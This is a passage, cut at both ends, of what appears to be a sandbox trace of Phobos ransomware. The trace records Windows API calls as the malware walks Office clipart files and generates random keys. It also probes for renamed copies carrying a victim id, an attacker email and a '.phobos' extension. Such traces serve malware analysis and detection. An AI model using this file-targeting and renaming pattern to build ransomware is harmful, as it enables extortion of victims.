(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.209] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=580) returned 1 [0125.209] CloseHandle (hObject=0x594) returned 1 [0125.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0125.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.210] SetEvent (hEvent=0x528) returned 1 [0125.210] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.211] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=296) returned 1 [0125.211] CloseHandle (hObject=0x594) returned 1 [0125.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0125.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.211] SetEvent (hEvent=0x528) returned 1 [0125.212] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.212] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=552) returned 1 [0125.212] CloseHandle (hObject=0x594) returned 1 [0125.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0125.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.213] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.214] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=4148) returned 1 [0125.214] CloseHandle (hObject=0x594) returned 1 [0125.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0125.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.215] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.216] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=3252) returned 1 [0125.216] CloseHandle (hObject=0x594) returned 1 [0125.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0125.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.216] SetEvent (hEvent=0x528) returned 1 [0125.216] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.219] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=1382) returned 1 [0125.219] CloseHandle (hObject=0x594) returned 1 [0125.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0125.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.219] SetEvent (hEvent=0x528) returned 1 [0125.219] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.220] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=13042) returned 1 [0125.220] CloseHandle (hObject=0x594) returned 1 [0125.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0125.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.220] SetEvent (hEvent=0x528) returned 1 [0125.220] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.221] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2700) returned 1 [0125.221] CloseHandle (hObject=0x594) returned 1 [0125.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0125.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.221] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.223] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=6958) returned 1 [0125.223] CloseHandle (hObject=0x594) returned 1 [0125.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0125.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.223] SetEvent (hEvent=0x528) returned 1 [0125.224] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.225] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=6938) returned 1 [0125.225] CloseHandle (hObject=0x594) returned 1 [0125.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0125.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.225] SetEvent (hEvent=0x528) returned 1 [0125.225] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.226] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=12356) returned 1 [0125.226] CloseHandle (hObject=0x594) returned 1 [0125.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0125.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.230] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.232] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=17308) returned 1 [0125.233] CloseHandle (hObject=0x594) returned 1 [0125.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0125.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.233] SetEvent (hEvent=0x528) returned 1 [0125.233] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.235] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=7944) returned 1 [0125.235] CloseHandle (hObject=0x594) returned 1 [0125.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0125.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.240] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.244] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=14194) returned 1 [0125.244] CloseHandle (hObject=0x594) returned 1 [0125.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0125.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.248] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.253] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=6068) returned 1 [0125.253] CloseHandle (hObject=0x594) returned 1 [0125.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0125.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.253] SetEvent (hEvent=0x528) returned 1 [0125.253] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.255] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=8424) returned 1 [0125.255] CloseHandle (hObject=0x594) returned 1 [0125.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0125.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.255] SetEvent (hEvent=0x528) returned 1 [0125.255] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 